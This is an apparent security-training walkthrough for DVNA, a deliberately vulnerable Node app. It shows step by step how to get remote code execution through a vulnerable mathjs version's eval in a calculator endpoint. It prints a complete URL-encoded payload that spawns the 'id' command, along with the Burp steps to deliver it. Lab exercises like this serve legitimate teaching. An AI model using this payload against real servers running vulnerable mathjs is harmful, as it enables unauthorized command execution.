> For the complete documentation index, see [llms.txt](https://infosecgirls.gitbook.io/infosecgirls-training/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infosecgirls.gitbook.io/infosecgirls-training/appsec/web-application-pentesting/a9-using-components-with-known-vulnerabilities/using-components-with-known-vulnerabilities-dvna.md). # Using Components with Known Vulnerabilities - DVNA ## Using Components with Known Vulnerabilities **mathjs Remote Code Execution** The version of mathjs() library used in the application has a remote code execution vulnerability that allows an attacker to run arbitrary code on the server. The calculator implementation uses `mathjs.eval` to evaluate user input at **Step 1:** Login to the application and navigate to `/app/calc`. Notice that there is a simple calculator functionality ![](/files/-LWHQwMcGtcDPnYcKdzh) **Step 2:** Enter some math expression such as `2+4` and press enter. Intercept this request using Burp **Step 3:** Send the intercepted request to Burp Repeater(CTRL+R) and navigate to repeater(CTRL+SHIFT+R) **Step 4:** Forward the request and notice that the expression is evaluated and application returns a HTTP 200 response ![](/files/-LWHQwMfGp3CWwKKyzEk) There is no input validation either, probably because it is going to be a maths equation which will contain symbols **Step 5:** Modify the value of `eqn` in the POST request body to `cos.constructor("spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = f` OR ``` cos.constructor%28%22spawn_sync+%3D+process.binding%28%27spawn_sync%27%29%3B+normalizeSpawnArguments+%3D+function%28c%2Cb%2Ca%29%7Bif%28Array.isArray%28b%29%3Fb%3Db.slice%280%29%3A%28a%3Db%2Cb%3D%5B%5D%29%2Ca%3D%3D%3Dundefined%26%26%28a%3D%7B%7D%29%2Ca%3DObject.assign%28%7B%7D%2Ca%29%2Ca.shell%29%7Bconst+g%3D%5Bc%5D.concat%28b%29.join%28%27+%27%29%3Btypeof+a.shell%3D%3D%3D%27string%27%3Fc%3Da.shell%3Ac%3D%27%2Fbin%2Fsh%27%2Cb%3D%5B%27-c%27%2Cg%5D%3B%7Dtypeof+a.argv0%3D%3D%3D%27string%27%3Fb.unshift%28a.argv0%29%3Ab.unshift%28c%29%3Bvar+d%3Da.env%7C%7Cprocess.env%3Bvar+e%3D%5B%5D%3Bfor%28var+f+in+d%29e.push%28f%2B%27%3D%27%2Bd%5Bf%5D%29%3Breturn%7Bfile%3Ac%2Cargs%3Ab%2Coptions%3Aa%2CenvPairs%3Ae%7D%3B%7D%3BspawnSync+%3D+function%28%29%7Bvar+d%3DnormalizeSpawnArguments.apply%28null%2Carguments%29%3Bvar+a%3Dd.options%3Bvar+c%3Bif%28a.file%3Dd.file%2Ca.args%3Dd.args%2Ca.envPairs%3Dd.envPairs%2Ca.stdio%3D%5B%7Btype%3A%27pipe%27%2Creadable%3A%210%2Cwritable%3A%211%7D%2C%7Btype%3A%27pipe%27%2Creadable%3A%211%2Cwritable%3A%210%7D%2C%7Btype%3A%27pipe%27%2Creadable%3A%211%2Cwritable%3A%210%7D%5D%2Ca.input%29%7Bvar+g%3Da.stdio%5B0%5D%3Dutil._extend%28%7B%7D%2Ca.stdio%5B0%5D%29%3Bg.input%3Da.input%3B%7Dfor%28c%3D0%3Bc%3Ca.stdio.length%3Bc%2B%2B%29%7Bvar+e%3Da.stdio%5Bc%5D%26%26a.stdio%5Bc%5D.input%3Bif%28e%21%3Dnull%29%7Bvar+f%3Da.stdio%5Bc%5D%3Dutil._extend%28%7B%7D%2Ca.stdio%5Bc%5D%29%3BisUint8Array%28e%29%3Ff.input%3De%3Af.input%3DBuffer.from%28e%2Ca.encoding%29%3B%7D%7Dconsole.log%28a%29%3Bvar+b%3Dspawn_sync.spawn%28a%29%3Bif%28b.output%26%26a.encoding%26%26a.encoding%21%3D%3D%27buffer%27%29for%28c%3D0%3Bc%3Cb.output.length%3Bc%2B%2B%29%7Bif%28%21b.output%5Bc%5D%29continue%3Bb.output%5Bc%5D%3Db.output%5Bc%5D.toString%28a.encoding%29%3B%7Dreturn+b.stdout%3Db.output%26%26b.output%5B1%5D%2Cb.stderr%3Db.output%26%26b.output%5B2%5D%2Cb.error%26%26%28b.error%3D+b.error+%2B+%27spawnSync+%27%2Bd.file%2Cb.error.path%3Dd.file%2Cb.error.spawnargs%3Dd.args.slice%281%29%29%2Cb%3B%7D%22%29%28%29%3Bcos.constructor%28%22return+spawnSync%28%27id%27%29.output%5B1%5D%22%29%28%29. ``` `cos.constructor%28%22spawn_sync+%3D+process.binding%28%27spawn_sync%27%29%3B+normalizeSpawnArguments+%3D+function%28c%2Cb%2Ca%29%7Bif%28Array.isArray%28b%29%3Fb%3Db.slice%280%29%3A%28a%3Db%2Cb%3D%5B%5D%29%2Ca%3D%3D%3Dundefined%26%26%28a%3D%7B%7D%29%2Ca%3DObject.assign%28%7B%7D%2Ca%29%2Ca.shell%29%7Bconst+g%3D%5Bc%5D.concat%28b%29.join%28%27+%27%29%3Btypeof+a.shell%3D%3D%3D%27string%27%3Fc%3Da.shell%3Ac%3D%27%2Fbin%2Fsh%27%2Cb%3D%5B%27-c%27%2Cg%5D%3B%7Dtypeof+a.argv0%3D%3D%3D%27string%27%3Fb.unshift%28a.argv0%29%3Ab.unshift%28c%29%3Bvar+d%3Da.env%7C%7Cprocess.env%3Bvar+e%3D%5B%5D%3Bfor%28var+f+in+d%29e.push%28f%2B%27%3D%27%2Bd%5Bf%5D%29%3Breturn%7Bfile%3Ac%2Cargs%3Ab%2Coptions%3Aa%2CenvPairs%3Ae%7D%3B%7D%3BspawnSync+%3D+function%28%29%7Bvar+d%3DnormalizeSpawnArguments.apply%28null%2Carguments%29%3Bvar+a%3Dd.options%3Bvar+c%3Bif%28a.file%3Dd.file%2Ca.args%3Dd.args%2Ca.envPairs%3Dd.envPairs%2Ca.stdio%3D%5B%7Btype%3A%27pipe%27%2Creadable%3A%210%2Cwritable%3A%211%7D%2C%7Btype%3A%27pipe%27%2Creadable%3A%211%2Cwritable%3A%210%7D%2C%7Btype%3A%27pipe%27%2Creadable%3A%211%2Cwritable%3A%210%7D%5D%2Ca.input%29%7Bvar+g%3Da.stdio%5B0%5D%3Dutil._extend%28%7B%7D%2Ca.stdio%5B0%5D%29%3Bg.input%3Da.input%3B%7Dfor%28c%3D0%3Bc%3Ca.stdio.length%3Bc%2B%2B%29%7Bvar+e%3Da.stdio%5Bc%5D%26%26a.stdio%5Bc%5D.input%3Bif%28e%21%3Dnull%29%7Bvar+f%3Da.stdio%5Bc%5D%3Dutil._extend%28%7B%7D%2Ca.stdio%5Bc%5D%29%3BisUint8Array%28e%29%3Ff.input%3De%3Af.input%3DBuffer.from%28e%2Ca.encoding%29%3B%7D%7Dconsole.log%28a%29%3Bvar+b%3Dspawn_sync.spawn%28a%29%3Bif%28b.output%26%26a.encoding%26%26a.encoding%21%3D%3D%27buffer%27%29for%28c%3D0%3Bc%3Cb.output.length%3Bc%2B%2B%29%7Bif%28%21b.output%5Bc%5D%29continue%3Bb.output%5Bc%5D%3Db.output%5Bc%5D.toString%28a.encoding%29%3B%7Dreturn+b.stdout%3Db.output%26%26b.output%5B1%5D%2Cb.stderr%3Db.output%26%26b.output%5B2%5D%2Cb.error%26%26%28b.error%3D+b.error+%2B+%27spawnSync+%27%2Bd.file%2Cb.error.path%3Dd.file%2Cb.error.spawnargs%3Dd.args.slice%281%29%29%2Cb%3B%7D%22%29%28%29%3Bcos.constructor%28%22return+spawnSync%28%27id%27%29.output%5B1%5D%22%29%28%29.` Forward the request and notice that the response is a has the output of `id` command executed on the remote server ![](/files/-LWHQwMhyF1mfSyPya7T) --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://infosecgirls.gitbook.io/infosecgirls-training/appsec/web-application-pentesting/a9-using-components-with-known-vulnerabilities/using-components-with-known-vulnerabilities-dvna.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.